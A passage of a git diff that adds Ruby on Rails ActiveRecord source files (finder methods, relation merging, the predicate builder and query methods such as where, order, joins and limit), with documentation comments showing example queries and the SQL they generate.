+ record
+ end
+
+ def find_some(ids)
+ result = where(table[primary_key].in(ids)).to_a
+
+ expected_size =
+ if limit_value && ids.size > limit_value
+ limit_value
+ else
+ ids.size
+ end
+
+ # 11 ids with limit 3, offset 9 should give 2 results.
+ if offset_value && (ids.size - offset_value < expected_size)
+ expected_size = ids.size - offset_value
+ end
+
+ if result.size == expected_size
+ result
+ else
+ raise_record_not_found_exception!(ids, result.size, expected_size)
+ end
+ end
+
+ def find_take
+ if loaded?
+ @records.first
+ else
+ @take ||= limit(1).to_a.first
+ end
+ end
+
+ def find_first
+ if loaded?
+ @records.first
+ else
+ @first ||=
+ if with_default_scope.order_values.empty? && primary_key
+ order(arel_table[primary_key].asc).limit(1).to_a.first
+ else
+ limit(1).to_a.first
+ end
+ end
+ end
+
+ def find_last
+ if loaded?
+ @records.last
+ else
+ @last ||=
+ if offset_value || limit_value
+ to_a.last
+ else
+ reverse_order.limit(1).to_a.first
+ end
+ end
+ end
+
+ def using_limitable_reflections?(reflections)
+ reflections.none? { |r| r.collection? }
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb
new file mode 100644
index 0000000..936b832
--- /dev/null
+++ b/activerecord/lib/active_record/relation/merger.rb
@@ -0,0 +1,161 @@
+require 'active_support/core_ext/hash/keys'
+require "set"
+
+module ActiveRecord
+ class Relation
+ class HashMerger # :nodoc:
+ attr_reader :relation, :hash
+
+ def initialize(relation, hash)
+ hash.assert_valid_keys(*Relation::VALUE_METHODS)
+
+ @relation = relation
+ @hash = hash
+ end
+
+ def merge
+ Merger.new(relation, other).merge
+ end
+
+ # Applying values to a relation has some side effects. E.g.
+ # interpolation might take place for where values. So we should
+ # build a relation to merge in rather than directly merging
+ # the values.
+ def other
+ other = Relation.new(relation.klass, relation.table)
+ hash.each { |k, v|
+ if k == :joins
+ if Hash === v
+ other.joins!(v)
+ else
+ other.joins!(*v)
+ end
+ else
+ other.send("#{k}!", v)
+ end
+ }
+ other
+ end
+ end
+
+ class Merger # :nodoc:
+ attr_reader :relation, :values, :other
+
+ def initialize(relation, other)
+ if other.default_scoped? && other.klass != relation.klass
+ other = other.with_default_scope
+ end
+
+ @relation = relation
+ @values = other.values
+ @other = other
+ end
+
+ NORMAL_VALUES = Relation::SINGLE_VALUE_METHODS +
+ Relation::MULTI_VALUE_METHODS -
+ [:joins, :where, :order, :bind, :reverse_order, :lock, :create_with, :reordering, :from] # :nodoc:
+
+ def normal_values
+ NORMAL_VALUES
+ end
+
+ def merge
+ normal_values.each do |name|
+ value = values[name]
+ relation.send("#{name}!", *value) unless value.blank?
+ end
+
+ merge_multi_values
+ merge_single_values
+ merge_joins
+
+ relation
+ end
+
+ private
+
+ def merge_joins
+ return if values[:joins].blank?
+
+ if other.klass == relation.klass
+ relation.joins!(*values[:joins])
+ else
+ joins_dependency, rest = values[:joins].partition do |join|
+ case join
+ when Hash, Symbol, Array
+ true
+ else
+ false
+ end
+ end
+
+ join_dependency = ActiveRecord::Associations::JoinDependency.new(other.klass,
+ joins_dependency,
+ [])
+ relation.joins! rest
+
+ join_dependency.join_associations.each do |association|
+ @relation = association.join_relation(relation)
+ end
+ end
+ end
+
+ def merge_multi_values
+ relation.where_values = merged_wheres
+ relation.bind_values = merged_binds
+
+ if values[:reordering]
+ # override any order specified in the original relation
+ relation.reorder! values[:order]
+ elsif values[:order]
+ # merge in order_values from r
+ relation.order! values[:order]
+ end
+
+ relation.extend(*values[:extending]) unless values[:extending].blank?
+ end
+
+ def merge_single_values
+ relation.from_value = values[:from] unless relation.from_value
+ relation.lock_value = values[:lock] unless relation.lock_value
+ relation.reverse_order_value = values[:reverse_order]
+
+ unless values[:create_with].blank?
+ relation.create_with_value = (relation.create_with_value || {}).merge(values[:create_with])
+ end
+ end
+
+ def merged_binds
+ if values[:bind]
+ (relation.bind_values + values[:bind]).uniq(&:first)
+ else
+ relation.bind_values
+ end
+ end
+
+ def merged_wheres
+ values[:where] ||= []
+
+ if values[:where].empty? || relation.where_values.empty?
+ relation.where_values + values[:where]
+ else
+ # Remove equalities from the existing relation with a LHS which is
+ # present in the relation being merged in.
+
+ seen = Set.new
+ values[:where].each { |w|
+ if w.respond_to?(:operator) && w.operator == :==
+ seen << w.left
+ end
+ }
+
+ relation.where_values.reject { |w|
+ w.respond_to?(:operator) &&
+ w.operator == :== &&
+ seen.include?(w.left)
+ } + values[:where]
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
new file mode 100644
index 0000000..f44d46d
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -0,0 +1,106 @@
+module ActiveRecord
+ class PredicateBuilder # :nodoc:
+ def self.build_from_hash(klass, attributes, default_table)
+ queries = []
+
+ attributes.each do |column, value|
+ table = default_table
+
+ if value.is_a?(Hash)
+ if value.empty?
+ queries << '1=0'
+ else
+ table = Arel::Table.new(column, default_table.engine)
+ association = klass.reflect_on_association(column.to_sym)
+
+ value.each do |k, v|
+ queries.concat expand(association && association.klass, table, k, v)
+ end
+ end
+ else
+ column = column.to_s
+
+ if column.include?('.')
+ table_name, column = column.split('.', 2)
+ table = Arel::Table.new(table_name, default_table.engine)
+ end
+
+ queries.concat expand(klass, table, column, value)
+ end
+ end
+
+ queries
+ end
+
+ def self.expand(klass, table, column, value)
+ queries = []
+
+ # Find the foreign key when using queries such as:
+ # Post.where(author: author)
+ #
+ # For polymorphic relationships, find the foreign key and type:
+ # PriceEstimate.where(estimate_of: treasure)
+ if klass && value.class < Base && reflection = klass.reflect_on_association(column.to_sym)
+ if reflection.polymorphic?
+ queries << build(table[reflection.foreign_type], value.class.base_class)
+ end
+
+ column = reflection.foreign_key
+ end
+
+ queries << build(table[column], value)
+ queries
+ end
+
+ def self.references(attributes)
+ attributes.map do |key, value|
+ if value.is_a?(Hash)
+ key
+ else
+ key = key.to_s
+ key.split('.').first if key.include?('.')
+ end
+ end.compact
+ end
+
+ private
+ def self.build(attribute, value)
+ case value
+ when Array
+ values = value.to_a.map {|x| x.is_a?(Base) ? x.id : x}
+ ranges, values = values.partition {|v| v.is_a?(Range)}
+
+ values_predicate = if values.include?(nil)
+ values = values.compact
+
+ case values.length
+ when 0
+ attribute.eq(nil)
+ when 1
+ attribute.eq(values.first).or(attribute.eq(nil))
+ else
+ attribute.in(values).or(attribute.eq(nil))
+ end
+ else
+ attribute.in(values)
+ end
+
+ array_predicates = ranges.map { |range| attribute.in(range) }
+ array_predicates << values_predicate
+ array_predicates.inject { |composite, predicate| composite.or(predicate) }
+ when ActiveRecord::Relation
+ value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty?
+ attribute.in(value.arel.ast)
+ when Range
+ attribute.in(value)
+ when ActiveRecord::Base
+ attribute.eq(value.id)
+ when Class
+ # FIXME: I think we need to deprecate this behavior
+ attribute.eq(value.name)
+ else
+ attribute.eq(value)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
new file mode 100644
index 0000000..9fcd2d0
--- /dev/null
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -0,0 +1,1044 @@
+require 'active_support/core_ext/array/wrap'
+
+module ActiveRecord
+ module QueryMethods
+ extend ActiveSupport::Concern
+
+ # WhereChain objects act as placeholder for queries in which #where does not have any parameter.
+ # In this case, #where must be chained with #not to return a new relation.
+ class WhereChain
+ def initialize(scope)
+ @scope = scope
+ end
+
+ # Returns a new relation expressing WHERE + NOT condition according to
+ # the conditions in the arguments.
+ #
+ # +not+ accepts conditions as a string, array, or hash. See #where for
+ # more details on each format.
+ #
+ # User.where.not("name = 'Jon'")
+ # # SELECT * FROM users WHERE NOT (name = 'Jon')
+ #
+ # User.where.not(["name = ?", "Jon"])
+ # # SELECT * FROM users WHERE NOT (name = 'Jon')
+ #
+ # User.where.not(name: "Jon")
+ # # SELECT * FROM users WHERE name != 'Jon'
+ #
+ # User.where.not(name: nil)
+ # # SELECT * FROM users WHERE name IS NOT NULL
+ #
+ # User.where.not(name: %w(Ko1 Nobu))
+ # # SELECT * FROM users WHERE name NOT IN ('Ko1', 'Nobu')
+ #
+ # User.where.not(name: "Jon", role: "admin")
+ # # SELECT * FROM users WHERE name != 'Jon' AND role != 'admin'
+ def not(opts, *rest)
+ where_value = @scope.send(:build_where, opts, rest).map do |rel|
+ case rel
+ when Arel::Nodes::In
+ Arel::Nodes::NotIn.new(rel.left, rel.right)
+ when Arel::Nodes::Equality
+ Arel::Nodes::NotEqual.new(rel.left, rel.right)
+ when String
+ Arel::Nodes::Not.new(Arel::Nodes::SqlLiteral.new(rel))
+ else
+ Arel::Nodes::Not.new(rel)
+ end
+ end
+ @scope.where_values += where_value
+ @scope
+ end
+ end
+
+ Relation::MULTI_VALUE_METHODS.each do |name|
+ class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{name}_values # def select_values
+ @values[:#{name}] || [] # @values[:select] || []
+ end # end
+ #
+ def #{name}_values=(values) # def select_values=(values)
+ raise ImmutableRelation if @loaded # raise ImmutableRelation if @loaded
+ @values[:#{name}] = values # @values[:select] = values
+ end # end
+ CODE
+ end
+
+ (Relation::SINGLE_VALUE_METHODS - [:create_with]).each do |name|
+ class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{name}_value # def readonly_value
+ @values[:#{name}] # @values[:readonly]
+ end # end
+ CODE
+ end
+
+ Relation::SINGLE_VALUE_METHODS.each do |name|
+ class_eval <<-CODE, __FILE__, __LINE__ + 1
+ def #{name}_value=(value) # def readonly_value=(value)
+ raise ImmutableRelation if @loaded # raise ImmutableRelation if @loaded
+ @values[:#{name}] = value # @values[:readonly] = value
+ end # end
+ CODE
+ end
+
+ def create_with_value # :nodoc:
+ @values[:create_with] || {}
+ end
+
+ alias extensions extending_values
+
+ # Specify relationships to be included in the result set. For
+ # example:
+ #
+ # users = User.includes(:address)
+ # users.each do |user|
+ # user.address.city
+ # end
+ #
+ # allows you to access the +address+ attribute of the +User+ model without
+ # firing an additional query. This will often result in a
+ # performance improvement over a simple +join+.
+ #
+ # === conditions
+ #
+ # If you want to add conditions to your included models you'll have
+ # to explicitly reference them. For example:
+ #
+ # User.includes(:posts).where('posts.name = ?', 'example')
+ #
+ # Will throw an error, but this will work:
+ #
+ # User.includes(:posts).where('posts.name = ?', 'example').references(:posts)
+ def includes(*args)
+ check_if_method_has_arguments!("includes", args)
+ spawn.includes!(*args)
+ end
+
+ def includes!(*args) # :nodoc:
+ args.reject! {|a| a.blank? }
+
+ self.includes_values = (includes_values + args).flatten.uniq
+ self
+ end
+
+ # Forces eager loading by performing a LEFT OUTER JOIN on +args+:
+ #
+ # User.eager_load(:posts)
+ # => SELECT "users"."id" AS t0_r0, "users"."name" AS t0_r1, ...
+ # FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" =
+ # "users"."id"
+ def eager_load(*args)
+ check_if_method_has_arguments!("eager_load", args)
+ spawn.eager_load!(*args)
+ end
+
+ def eager_load!(*args) # :nodoc:
+ self.eager_load_values += args
+ self
+ end
+
+ # Allows preloading of +args+, in the same way that +includes+ does:
+ #
+ # User.preload(:posts)
+ # => SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3)
+ def preload(*args)
+ check_if_method_has_arguments!("preload", args)
+ spawn.preload!(*args)
+ end
+
+ def preload!(*args) # :nodoc:
+ self.preload_values += args
+ self
+ end
+
+ # Used to indicate that an association is referenced by an SQL string, and should
+ # therefore be JOINed in any query rather than loaded separately.
+ #
+ # User.includes(:posts).where("posts.name = 'foo'")
+ # # => Doesn't JOIN the posts table, resulting in an error.
+ #
+ # User.includes(:posts).where("posts.name = 'foo'").references(:posts)
+ # # => Query now knows the string references posts, so adds a JOIN
+ def references(*args)
+ check_if_method_has_arguments!("references", args)
+ spawn.references!(*args)
+ end
+
+ def references!(*args) # :nodoc:
+ args.flatten!
+
+ self.references_values = (references_values + args.map!(&:to_s)).uniq
+ self
+ end
+
+ # Works in two unique ways.
+ #
+ # First: takes a block so it can be used just like Array#select.
+ #
+ # Model.all.select { |m| m.field == value }
+ #
+ # This will build an array of objects from the database for the scope,
+ # converting them into an array and iterating through them using Array#select.
+ #
+ # Second: Modifies the SELECT statement for the query so that only certain
+ # fields are retrieved:
+ #
+ # Model.select(:field)
+ # # => [#<Model field:value>]
+ #
+ # Although in the above example it looks as though this method returns an
+ # array, it actually returns a relation object and can have other query
+ # methods appended to it, such as the other methods in ActiveRecord::QueryMethods.
+ #
+ # The argument to the method can also be an array of fields.
+ #
+ # Model.select(:field, :other_field, :and_one_more)
+ # # => [#<Model field: "value", other_field: "value", and_one_more: "value">]
+ #
+ # You can also use one or more strings, which will be used unchanged as SELECT fields.
+ #
+ # Model.select('field AS field_one', 'other_field AS field_two')
+ # # => [#<Model field: "value", other_field: "value">]
+ #
+ # If an alias was specified, it will be accessible from the resulting objects:
+ #
+ # Model.select('field AS field_one').first.field_one
+ # # => "value"
+ #
+ # Accessing attributes of an object that do not have fields retrieved by a select
+ # will throw <tt>ActiveModel::MissingAttributeError</tt>:
+ #
+ # Model.select(:field).first.other_field
+ # # => ActiveModel::MissingAttributeError: missing attribute: other_field
+ def select(*fields)
+ if block_given?
+ to_a.select { |*block_args| yield(*block_args) }
+ else
+ raise ArgumentError, 'Call this with at least one field' if fields.empty?
+ spawn.select!(*fields)
+ end
+ end
+
+ def select!(*fields) # :nodoc:
+ self.select_values += fields.flatten
+ self
+ end
+
+ # Allows to specify a group attribute:
+ #
+ # User.group(:name)
+ # => SELECT "users".* FROM "users" GROUP BY name
+ #
+ # Returns an array with distinct records based on the +group+ attribute:
+ #
+ # User.select([:id, :name])
+ # => [#<User id: 1, name: "Oscar">, #<User id: 2, name: "Oscar">, #<User id: 3, name: "Foo">
+ #
+ # User.group(:name)
+ # => [#<User id: 3, name: "Foo", ...>, #<User id: 2, name: "Oscar", ...>]
+ #
+ # User.group('name AS grouped_name, age')
+ # => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>]
+ def group(*args)
+ check_if_method_has_arguments!("group", args)
+ spawn.group!(*args)
+ end
+
+ def group!(*args) # :nodoc:
+ args.flatten!
+
+ self.group_values += args
+ self
+ end
+
+ # Allows to specify an order attribute:
+ #
+ # User.order('name')
+ # => SELECT "users".* FROM "users" ORDER BY name
+ #
+ # User.order('name DESC')
+ # => SELECT "users".* FROM "users" ORDER BY name DESC
+ #
+ # User.order('name DESC, email')
+ # => SELECT "users".* FROM "users" ORDER BY name DESC, email
+ #
+ # User.order(:name)
+ # => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC
+ #
+ # User.order(email: :desc)
+ # => SELECT "users".* FROM "users" ORDER BY "users"."email" DESC
+ #
+ # User.order(:name, email: :desc)
+ # => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+ def order(*args)
+ check_if_method_has_arguments!("order", args)
+ spawn.order!(*args)
+ end
+
+ def order!(*args) # :nodoc:
+ args.flatten!
+ validate_order_args args
+
+ references = args.reject { |arg| Arel::Node === arg }
+ references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
+ references!(references) if references.any?
+
+ # if a symbol is given we prepend the quoted table name
+ args = args.map { |arg|
+ arg.is_a?(Symbol) ? "#{quoted_table_name}.#{arg} ASC" : arg
+ }
+
+ self.order_values = args + self.order_values
+ self
+ end
+
+ # Replaces any existing order defined on the relation with the specified order.
+ #
+ # User.order('email DESC').reorder('id ASC') # generated SQL has 'ORDER BY id ASC'
+ #
+ # Subsequent calls to order on the same relation will be appended. For example:
+ #
+ # User.order('email DESC').reorder('id ASC').order('name ASC')
+ #
+ # generates a query with 'ORDER BY name ASC, id ASC'.
+ def reorder(*args)
+ check_if_method_has_arguments!("reorder", args)
+ spawn.reorder!(*args)
+ end
+
+ def reorder!(*args) # :nodoc:
+ args.flatten!
+ validate_order_args args
+
+ self.reordering_value = true
+ self.order_values = args
+ self
+ end
+
+ VALID_UNSCOPING_VALUES = Set.new([:where, :select, :group, :order, :lock,
+ :limit, :offset, :joins, :includes, :from,
+ :readonly, :having])
+
+ # Removes an unwanted relation that is already defined on a chain of relations.
+ # This is useful when passing around chains of relations and would like to
+ # modify the relations without reconstructing the entire chain.
+ #
+ # User.order('email DESC').unscope(:order) == User.all
+ #
+ # The method arguments are symbols which correspond to the names of the methods
+ # which should be unscoped. The valid arguments are given in VALID_UNSCOPING_VALUES.
+ # The method can also be called with multiple arguments. For example:
+ #
+ # User.order('email DESC').select('id').where(name: "John")
+ # .unscope(:order, :select, :where) == User.all
+ #
+ # One can additionally pass a hash as an argument to unscope specific :where values.
+ # This is done by passing a hash with a single key-value pair. The key should be
+ # :where and the value should be the where value to unscope. For example:
+ #
+ # User.where(name: "John", active: true).unscope(where: :name)
+ # == User.where(active: true)
+ #
+ # Note that this method is more generalized than ActiveRecord::SpawnMethods#except
+ # because #except will only affect a particular relation's values. It won't wipe
+ # the order, grouping, etc. when that relation is merged. For example:
+ #
+ # Post.comments.except(:order)
+ #
+ # will still have an order if it comes from the default_scope on Comment.
+ def unscope(*args)
+ check_if_method_has_arguments!("unscope", args)
+ spawn.unscope!(*args)
+ end
+
+ def unscope!(*args) # :nodoc:
+ args.flatten!
+
+ args.each do |scope|
+ case scope
+ when Symbol
+ symbol_unscoping(scope)
+ when Hash
+ scope.each do |key, target_value|
+ if key != :where
+ raise ArgumentError, "Hash arguments in .unscope(*args) must have :where as the key."
+ end
+
+ Array(target_value).each do |val|
+ where_unscoping(val)
+ end
+ end
+ else
+ raise ArgumentError, "Unrecognized scoping: #{args.inspect}. Use .unscope(where: :attribute_name) or .unscope(:order), for example."
+ end
+ end
+
+ self
+ end
+
+ # Performs a joins on +args+:
+ #
+ # User.joins(:posts)
+ # => SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id"
+ #
+ # You can use strings in order to customize your joins:
+ #
+ # User.joins("LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id")
+ # => SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id
+ def joins(*args)
+ check_if_method_has_arguments!("joins", args)
+ spawn.joins!(*args.compact.flatten)
+ end
+
+ def joins!(*args) # :nodoc:
+ self.joins_values += args
+ self
+ end
+
+ def bind(value)
+ spawn.bind!(value)
+ end
+
+ def bind!(value) # :nodoc:
+ self.bind_values += [value]
+ self
+ end
+
+ # Returns a new relation, which is the result of filtering the current relation
+ # according to the conditions in the arguments.
+ #
+ # #where accepts conditions in one of several formats. In the examples below, the resulting
+ # SQL is given as an illustration; the actual query generated may be different depending
+ # on the database adapter.
+ #
+ # === string
+ #
+ # A single string, without additional arguments, is passed to the query
+ # constructor as a SQL fragment, and used in the where clause of the query.
+ #
+ # Client.where("orders_count = '2'")
+ # # SELECT * from clients where orders_count = '2';
+ #
+ # Note that building your own string from user input may expose your application
+ # to injection attacks if not done properly. As an alternative, it is recommended
+ # to use one of the following methods.
+ #
+ # === array
+ #
+ # If an array is passed, then the first element of the array is treated as a template, and
+ # the remaining elements are inserted into the template to generate the condition.
+ # Active Record takes care of building the query to avoid injection attacks, and will
+ # convert from the ruby type to the database type where needed. Elements are inserted
+ # into the string in the order in which they appear.
+ #
+ # User.where(["name = ? and email = ?", "Joe", "joe at example.com"])
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com';
+ #
+ # Alternatively, you can use named placeholders in the template, and pass a hash as the
+ # second element of the array. The names in the template are replaced with the corresponding
+ # values from the hash.
+ #
+ # User.where(["name = :name and email = :email", { name: "Joe", email: "joe at example.com" }])
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com';
+ #
+ # This can make for more readable code in complex queries.
+ #
+ # Lastly, you can use sprintf-style % escapes in the template. This works slightly differently
+ # than the previous methods; you are responsible for ensuring that the values in the template
+ # are properly quoted. The values are passed to the connector for quoting, but the caller
+ # is responsible for ensuring they are enclosed in quotes in the resulting SQL. After quoting,
+ # the values are inserted using the same escapes as the Ruby core method <tt>Kernel::sprintf</tt>.
+ #
+ # User.where(["name = '%s' and email = '%s'", "Joe", "joe at example.com"])
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com';
+ #
+ # If #where is called with multiple arguments, these are treated as if they were passed as
+ # the elements of a single array.
+ #
+ # User.where("name = :name and email = :email", { name: "Joe", email: "joe at example.com" })
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com';
+ #
+ # When using strings to specify conditions, you can use any operator available from
+ # the database. While this provides the most flexibility, you can also unintentionally introduce
+ # dependencies on the underlying database. If your code is intended for general consumption,
+ # test with multiple database backends.
+ #
+ # === hash
+ #
+ # #where will also accept a hash condition, in which the keys are fields and the values
+ # are values to be searched for.
+ #
+ # Fields can be symbols or strings. Values can be single values, arrays, or ranges.
+ #
+ # User.where({ name: "Joe", email: "joe at example.com" })
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com'
+ #
+ # User.where({ name: ["Alice", "Bob"]})
+ # # SELECT * FROM users WHERE name IN ('Alice', 'Bob')
+ #
+ # User.where({ created_at: (Time.now.midnight - 1.day)..Time.now.midnight })
+ # # SELECT * FROM users WHERE (created_at BETWEEN '2012-06-09 07:00:00.000000' AND '2012-06-10 07:00:00.000000')
+ #
+ # In the case of a belongs_to relationship, an association key can be used
+ # to specify the model if an ActiveRecord object is used as the value.
+ #
+ # author = Author.find(1)
+ #
+ # # The following queries will be equivalent:
+ # Post.where(author: author)
+ # Post.where(author_id: author)
+ #
+ # This also works with polymorphic belongs_to relationships:
+ #
+ # treasure = Treasure.create(name: 'gold coins')
+ # treasure.price_estimates << PriceEstimate.create(price: 125)
+ #
+ # # The following queries will be equivalent:
+ # PriceEstimate.where(estimate_of: treasure)
+ # PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
+ #
+ # === Joins
+ #
+ # If the relation is the result of a join, you may create a condition which uses any of the
+ # tables in the join. For string and array conditions, use the table name in the condition.
+ #
+ # User.joins(:posts).where("posts.created_at < ?", Time.now)
+ #
+ # For hash conditions, you can either use the table name in the key, or use a sub-hash.
+ #
+ # User.joins(:posts).where({ "posts.published" => true })
+ # User.joins(:posts).where({ posts: { published: true } })
+ #
+ # === no argument
+ #
+ # If no argument is passed, #where returns a new instance of WhereChain, that
+ # can be chained with #not to return a new relation that negates the where clause.
+ #
+ # User.where.not(name: "Jon")
+ # # SELECT * FROM users WHERE name != 'Jon'
+ #
+ # See WhereChain for more details on #not.
+ #
+ # === blank condition
+ #
+ # If the condition is any blank-ish object, then #where is a no-op and returns
+ # the current relation.
+ def where(opts = :chain, *rest)
+ if opts == :chain
+ WhereChain.new(spawn)
+ elsif opts.blank?
+ self
+ else
+ spawn.where!(opts, *rest)
+ end
+ end
+
+ def where!(opts = :chain, *rest) # :nodoc:
+ if opts == :chain
+ WhereChain.new(self)
+ else
+ references!(PredicateBuilder.references(opts)) if Hash === opts
+
+ self.where_values += build_where(opts, rest)
+ self
+ end
+ end
+
+ # Allows to specify a HAVING clause. Note that you can't use HAVING
+ # without also specifying a GROUP clause.
+ #
+ # Order.having('SUM(price) > 30').group('user_id')
+ def having(opts, *rest)
+ opts.blank? ? self : spawn.having!(opts, *rest)
+ end
+
+ def having!(opts, *rest) # :nodoc:
+ references!(PredicateBuilder.references(opts)) if Hash === opts
+
+ self.having_values += build_where(opts, rest)
+ self
+ end
+
+ # Specifies a limit for the number of records to retrieve.
+ #
+ # User.limit(10) # generated SQL has 'LIMIT 10'
+ #
+ # User.limit(10).limit(20) # generated SQL has 'LIMIT 20'
+ def limit(value)
+ spawn.limit!(value)
+ end
+
+ def limit!(value) # :nodoc:
+ self.limit_value = value
+ self
+ end
+
+ # Specifies the number of rows to skip before returning rows.
+ #
+ # User.offset(10) # generated SQL has "OFFSET 10"
+ #
+ # Should be used with order.
+ #
+ # User.offset(10).order("name ASC")
+ def offset(value)
+ spawn.offset!(value)
+ end
+
+ def offset!(value) # :nodoc:
+ self.offset_value = value
+ self
+ end
+
+ # Specifies locking settings (default to +true+). For more information
+ # on locking, please see +ActiveRecord::Locking+.
+ def lock(locks = true)
+ spawn.lock!(locks)
+ end
+
+ def lock!(locks = true) # :nodoc:
+ case locks
+ when String, TrueClass, NilClass
+ self.lock_value = locks || true
+ else
+ self.lock_value = false
+ end
+
+ self
+ end
+
+ # Returns a chainable relation with zero records, specifically an
+ # instance of the <tt>ActiveRecord::NullRelation</tt> class.
+ #
+ # The returned <tt>ActiveRecord::NullRelation</tt> inherits from Relation and implements the
+ # Null Object pattern. It is an object with defined null behavior and always returns an empty
+ # array of records without querying the database.
+ #
+ # Any subsequent condition chained to the returned relation will continue
+ # generating an empty relation and will not fire any query to the database.
+ #
+ # Used in cases where a method or scope could return zero records but the
+ # result needs to be chainable.
+ #
+ # For example:
+ #
+ # @posts = current_user.visible_posts.where(name: params[:name])
+ # # => the visible_posts method is expected to return a chainable Relation
+ #
+ # def visible_posts
+ # case role
+ # when 'Country Manager'
+ # Post.where(country: country)
+ # when 'Reviewer'
+ # Post.published
+ # when 'Bad User'
+ # Post.none # => returning [] instead breaks the previous code
+ # end
+ # end
+ #
+ def none
+ extending(NullRelation)
+ end
+
+ def none! # :nodoc:
+ extending!(NullRelation)
+ end
+
+ # Sets readonly attributes for the returned relation. If value is
+ # true (default), attempting to update a record will result in an error.
+ #
+ # users = User.readonly
+ # users.first.save
+ # => ActiveRecord::ReadOnlyRecord: ActiveRecord::ReadOnlyRecord
+ def readonly(value = true)
+ spawn.readonly!(value)
+ end
+
+ def readonly!(value = true) # :nodoc:
+ self.readonly_value = value
+ self
+ end
+
+ # Sets attributes to be used when creating new records from a
+ # relation object.
+ #
+ # users = User.where(name: 'Oscar')
+ # users.new.name # => 'Oscar'
+ #
+ # users = users.create_with(name: 'DHH')
+ # users.new.name # => 'DHH'
+ #
+ # You can pass +nil+ to +create_with+ to reset attributes:
+ #
+ # users = users.create_with(nil)
+ # users.new.name # => 'Oscar'
+ def create_with(value)
+ spawn.create_with!(value)
+ end
+
+ def create_with!(value) # :nodoc:
+ self.create_with_value = value ? create_with_value.merge(value) : {}
+ self
+ end
+
+ # Specifies table from which the records will be fetched. For example:
+ #
+ # Topic.select('title').from('posts')
+ # #=> SELECT title FROM posts
+ #
+ # Can accept other relation objects. For example:
+ #
+ # Topic.select('title').from(Topic.approved)
+ # # => SELECT title FROM (SELECT * FROM topics WHERE approved = 't') subquery
+ #
+ # Topic.select('a.title').from(Topic.approved, :a)
+ # # => SELECT a.title FROM (SELECT * FROM topics WHERE approved = 't') a
+ #
+ def from(value, subquery_name = nil)
+ spawn.from!(value, subquery_name)
+ end
+
+ def from!(value, subquery_name = nil) # :nodoc:
+ self.from_value = [value, subquery_name]
+ self
+ end
+
+ # Specifies whether the records should be unique or not. For example:
+ #
+ # User.select(:name)
+ # # => Might return two records with the same name
+ #
+ # User.select(:name).distinct
+ # # => Returns 1 record per distinct name
+ #
+ # User.select(:name).distinct.distinct(false)
+ # # => You can also remove the uniqueness
+ def distinct(value = true)
+ spawn.distinct!(value)
+ end
+ alias uniq distinct
+
+ # Like #distinct, but modifies relation in place.
+ def distinct!(value = true) # :nodoc:
+ self.distinct_value = value
+ self
+ end
+ alias uniq! distinct!
+
+ # Used to extend a scope with additional methods, either through
+ # a module or through a block provided.
+ #
+ # The object returned is a relation, which can be further extended.
+ #
+ # === Using a module
+ #
+ # module Pagination
+ # def page(number)
+ # # pagination code goes here
+ # end
+ # end
+ #
+ # scope = Model.all.extending(Pagination)
+ # scope.page(params[:page])
+ #
+ # You can also pass a list of modules:
+ #
+ # scope = Model.all.extending(Pagination, SomethingElse)
+ #
+ # === Using a block
+ #
+ # scope = Model.all.extending do
+ # def page(number)
+ # # pagination code goes here
+ # end
+ # end
+ # scope.page(params[:page])
+ #
+ # You can also use a block and a module list:
+ #
+ # scope = Model.all.extending(Pagination) do
+ # def per_page(number)
+ # # pagination code goes here
+ # end
+ # end
+ def extending(*modules, &block)
+ if modules.any? || block
+ spawn.extending!(*modules, &block)
+ else
+ self
+ end
+ end
+
+ def extending!(*modules, &block) # :nodoc:
+ modules << Module.new(&block) if block_given?
+
+ self.extending_values += modules.flatten
+ extend(*extending_values) if extending_values.any?
+
+ self
+ end
+
+ # Reverse the existing order clause on the relation.
+ #
+ # User.order('name ASC').reverse_order # generated SQL has 'ORDER BY name DESC'
+ def reverse_order
+ spawn.reverse_order!
+ end
+
+ def reverse_order! # :nodoc:
+ self.reverse_order_value = !reverse_order_value
+ self
+ end
+
+ # Returns the Arel object associated with the relation.
+ def arel
+ @arel ||= with_default_scope.build_arel
+ end
+
+ # Like #arel, but ignores the default scope of the model.
+ def build_arel
+ arel = Arel::SelectManager.new(table.engine, table)
+
+ build_joins(arel, joins_values) unless joins_values.empty?
+
+ collapse_wheres(arel, (where_values - ['']).uniq)
+
+ arel.having(*having_values.uniq.reject{|h| h.blank?}) unless having_values.empty?
+
+ arel.take(connection.sanitize_limit(limit_value)) if limit_value
+ arel.skip(offset_value.to_i) if offset_value
+
+ arel.group(*group_values.uniq.reject{|g| g.blank?}) unless group_values.empty?
+
+ build_order(arel)
+
+ build_select(arel, select_values.uniq)
+
+ arel.distinct(distinct_value)
+ arel.from(build_from) if from_value
+ arel.lock(lock_value) if lock_value
+
+ arel
+ end
+
+ private
+
